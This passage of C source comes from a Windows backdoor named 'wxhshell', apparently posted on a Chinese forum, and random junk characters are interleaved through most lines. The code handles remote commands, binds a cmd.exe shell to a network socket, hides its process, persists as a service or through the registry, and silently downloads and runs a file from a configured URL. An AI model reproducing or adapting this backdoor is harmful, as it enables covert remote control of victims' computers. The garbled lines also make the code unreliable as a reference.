  } 9lTA/-  
  else { -]'Sy$,A  
Mm.!$uR  
    switch(cmd[0]) { "{{xH*ij'  
  yJb;V#  
  // 帮助 j?z(fs-  
  case '?': { Y,E:?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AS;{O>}54  
    break; `m'2RNSc+#  
  } ?Cu#(  
  // 安装 TqbKH08i/  
  case 'i': { SKRD{MRsux  
    if(Install()) ]s, T` (&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M;Vx[s,#,  
    else \mc~w4B[)3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &5d>jEaB}  
    break; H`@x5RjS   
    } miN(a; Q2P  
  // 卸载 i@B5B2  
  case 'r': { a+]=3o  
    if(Uninstall())  ITbl%q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k, v.U8  
    else l^0 <a<P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TR)' I  
    break; QT%&vq  
    } 7CG_UB  
  // 显示 wxhshell 所在路径 |Z2_1( ku  
  case 'p': { Ld`~^<B  
    char svExeFile[MAX_PATH]; )XO2DY1/&  
    strcpy(svExeFile,"\n\r"); P$4?-AZ  
      strcat(svExeFile,ExeFile); 9@vY(k k  
        send(wsh,svExeFile,strlen(svExeFile),0); pbm4C0W}  
    break; (x=NA )  
    } Mu:*(P/  
  // 重启 #lVVSrF,-  
  case 'b': { OH=Ffy F,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PwDQ<   
    if(Boot(REBOOT)) qVM]$V#e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yobi$mnsy!  
    else { HmX (= Y  
    closesocket(wsh); ;UPw;'  
    ExitThread(0); _&w!JzpXT  
    } 1uy+'2[Z-D  
    break; <<;j=Yy({`  
    } [9+M/O|Vs  
  // 关机 HVu_@[SYR3  
  case 'd': { )0d3sJ8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QL\'pW5  
    if(Boot(SHUTDOWN)) }){hQt7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ;\iQZ~   
    else { lXz<jt@5  
    closesocket(wsh); cIgFSwQ 4  
    ExitThread(0); jJ?3z ,h  
    } n7{c0;)$  
    break; +JQN=nTA  
    } $fh?(J  
  // 获取shell ,[ Ytl  
  case 's': {  &$+yXN  
    CmdShell(wsh); 1y?TyUP  
    closesocket(wsh); @8_K^3-~e  
    ExitThread(0); pCg0xbc`  
    break; zSq+#O1#  
  } j f^fj-  
  // 退出 !Sw7!h.ut  
  case 'x': { f'%}{l: ss  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `,7BU??+u  
    CloseIt(wsh); +F0M?,  
    break; zR`]8E]  
    } x3M`l|  
  // 离开 i.byHz?/  
  case 'q': { ^AEg?[q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MOOL=Um3  
    closesocket(wsh); iezz[;t  
    WSACleanup(); p$"*U[%l  
    exit(1); 8Ipyr%l  
    break; * |,V$  
        } 2oq>tnYyV[  
  } 'rCwPsI&4  
  } dB1bf2'b#  
S:R%%cy  
  // 提示信息 m*a0V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e1'_]   
} rP>5OLP  
  } ^Nc\D7( l  
4Q!*h8O  
  return; Ig9$ PP+3  
} w\\    
#U6Wv1H{Lp  
// shell模块句柄 ;>Kxl}+R  
int CmdShell(SOCKET sock) *.~M#M 9c  
{ :z^c<KFX  
STARTUPINFO si; $T*kpUXH}  
ZeroMemory(&si,sizeof(si)); Y#rao:I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l[h??C`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>'o5+  
PROCESS_INFORMATION ProcessInfo; \s)j0F)  
char cmdline[]="cmd"; 4ci @$nL1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;,IGO7R  
  return 0; k-w._E <  
} fM8 :Nt$  
q|Ga   
// 自身启动模式 >B3_P4pW9  
int StartFromService(void) xEZvCwsb  
{ Wk$%0xZ7  
typedef struct jI y'mGaG  
{ Q4Cw{2r  
  DWORD ExitStatus; `VS/ Xyp  
  DWORD PebBaseAddress; 30B! hj$C  
  DWORD AffinityMask; =k&'ft  
  DWORD BasePriority; , {]>U'-  
  ULONG UniqueProcessId; o 0fsM;K  
  ULONG InheritedFromUniqueProcessId; s3t{freM  
}   PROCESS_BASIC_INFORMATION; = [:ruE  
"S6d ^  
PROCNTQSIP NtQueryInformationProcess; 1 "4AS_Q  
2.2 s>?\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |qZ4h7wL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Aw >DZ2  
'Z;R!@Dm  
  HANDLE             hProcess; 7<X_\,I  
  PROCESS_BASIC_INFORMATION pbi; U${dWxC  
&:Raf5G-E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /y NU0/  
  if(NULL == hInst ) return 0; 4S+P]U*jW  
WJ/&Ag1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HhIa=,VY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Knn$<!>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M<Eg<*  
cp]\<p('A  
  if (!NtQueryInformationProcess) return 0; edbzg #wy  
iao_w'tJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y2Y/laD  
  if(!hProcess) return 0; Q?Q!D+~mND  
DQwbr\xy\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xo$(zGb  
^F_c'  
  CloseHandle(hProcess); 7eZ,; x  
+jQW6k#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Q L  
if(hProcess==NULL) return 0; @0+@.&Z  
3M/kfy  
HMODULE hMod; $S3C_..  
char procName[255]; _AK-AY  
unsigned long cbNeeded; \iO ,y:  
ql^n=+U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h\:"k_u#  
7!z0)Ai_>=  
  CloseHandle(hProcess); !~PV\DQN  
vr2tMD  
if(strstr(procName,"services")) return 1; // 以服务启动 W!htCwnkF  
Z+FJ cvYx  
  return 0; // 注册表启动 [N.4 i" Cd  
} FzW7MW>\x  
8)'OXR0/  
// 主模块 1;S@XC>  
int StartWxhshell(LPSTR lpCmdLine) ;5dJ5_}  
{ s}X2*o`,  
  SOCKET wsl; qK,rT*5=  
BOOL val=TRUE; Me2%X>;  
  int port=0; ?>DN7je  
  struct sockaddr_in door; E%2]c?N5  
V+-%$-w>  
  if(wscfg.ws_autoins) Install(); FAo\`x  
wNq#vn  
port=atoi(lpCmdLine); x7>' 1  
2I>X]r.S!1  
if(port<=0) port=wscfg.ws_port; MBp%TX!  
}~y i6!w'  
  WSADATA data; M;-PrJdyt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7S}NV7  
UM3}7|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1F{c5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SwXVa/9a"  
  door.sin_family = AF_INET; <D%.'=%pZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PsaKzAg?  
  door.sin_port = htons(port); (gQP_Oa(  
Rcc9Tx(zvQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xo a1='  
closesocket(wsl); J<yt/V]  
return 1; o7;lR?  
} lvY[E9I0  
W2&o'(P\  
  if(listen(wsl,2) == INVALID_SOCKET) {  6g576  
closesocket(wsl); 4hz T4!15  
return 1; P XKEqcQR  
} l1l=52r   
  Wxhshell(wsl); jEVDz  
  WSACleanup(); g1Ed:V]_  
-U.>K,M  
return 0; 9sJ=Nldq  
Q V)>+6\  
} &N:Iirg  
<A^sg?s<'  
// 以NT服务方式启动 %|AebxB'o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S6Y2(qdP  
{ T\?$7$/V  
DWORD   status = 0; .o8Sy2PaV  
  DWORD   specificError = 0xfffffff; ?I{L^j^#4  
9sG]Q[:.]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xy))}c%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; . |%n"{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HCfme<'  
  serviceStatus.dwWin32ExitCode     = 0; %D1 |0v8}  
  serviceStatus.dwServiceSpecificExitCode = 0; Swa0TiT(  
  serviceStatus.dwCheckPoint       = 0; Ql"kJ_F!br  
  serviceStatus.dwWaitHint       = 0; 6I2` oag  
eu={6/O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Y O(C<r-  
  if (hServiceStatusHandle==0) return; Pm&hv*D  
 |W_;L6)  
status = GetLastError(); ORuC("  
  if (status!=NO_ERROR) K*I!:1;3N  
{ j 5}'*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Hy/K^Ci  
    serviceStatus.dwCheckPoint       = 0; `OFW^Esc  
    serviceStatus.dwWaitHint       = 0; 17$'r^t,S  
    serviceStatus.dwWin32ExitCode     = status; Co>e<be%S  
    serviceStatus.dwServiceSpecificExitCode = specificError; M8nfbc^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VKV :U60  
    return; f7YBhF  
  } h4Wt oE>i  
s@Dln Du .  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B6=?Qp/f  
  serviceStatus.dwCheckPoint       = 0; @<NuuYQ&  
  serviceStatus.dwWaitHint       = 0; Xii>?sA5Z"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y+3+iT@i  
} t:MSV?  
wXjidOd $  
// 处理NT服务事件,比如:启动、停止 \?SvO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =PU($  
{ \~RDvsSD  
switch(fdwControl) WP2=1"X63  
{ vd?Bk_d9k,  
case SERVICE_CONTROL_STOP: 8Cs;.>75[  
  serviceStatus.dwWin32ExitCode = 0; m??Py"1y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G %'xEr0n  
  serviceStatus.dwCheckPoint   = 0; L!>nl4O>`  
  serviceStatus.dwWaitHint     = 0; m _cRK}>  
  { 28k=@k^q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +F-EgF+J  
  } b7XB l  
  return; m9vX8;.  
case SERVICE_CONTROL_PAUSE: eU\xOTl~<{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ f'v>"K  
  break; JIhEkY  
case SERVICE_CONTROL_CONTINUE: y];-D>jk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z',Fa4@z  
  break; DQT'OZ :w  
case SERVICE_CONTROL_INTERROGATE: 5r`rstV  
  break; >`r3@|UY  
};  0:f]&Ng  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xu8I8nAwl  
} f WZ(  
,jOJ\WXP  
// 标准应用程序主函数 %x N${4)6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v\GVy[Qyv  
{ ]} dQ~lOE  
k,[*h-{8  
// 获取操作系统版本 >))CXGE  
OsIsNt=GetOsVer(); t;BUZE_!0c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #=t/wAE y:  
T]ls&cW5  
  // 从命令行安装 4vEP\E3u<j  
  if(strpbrk(lpCmdLine,"iI")) Install(); CHsg2S  
l|=4FIMD  
  // 下载执行文件 +LF#XS@  
if(wscfg.ws_downexe) { w8XCU> |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) In?=$_p  
  WinExec(wscfg.ws_filenam,SW_HIDE); E7t;p)x  
} 7i*eKC`ZqK  
d{"-iw)t  
if(!OsIsNt) { ]I[~0PCSX  
// 如果时win9x,隐藏进程并且设置为注册表启动 @(Y!$><Is  
HideProc(); TjyL])$  
StartWxhshell(lpCmdLine); 8 q@Z  
} pZ& ,YX  
else &'SD1m1P  
  if(StartFromService()) 4b:|>Z-  
  // 以服务方式启动 PVsKI<  
  StartServiceCtrlDispatcher(DispatchTable); #,%7tXOLR  
else R|C 2O[r}  
  // 普通方式启动 U}LW8886  
  StartWxhshell(lpCmdLine); =eDIvNps  
EHk\Q\  
return 0; Gq^vto  
}
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只看该作者 1 发表于: 2006-10-10
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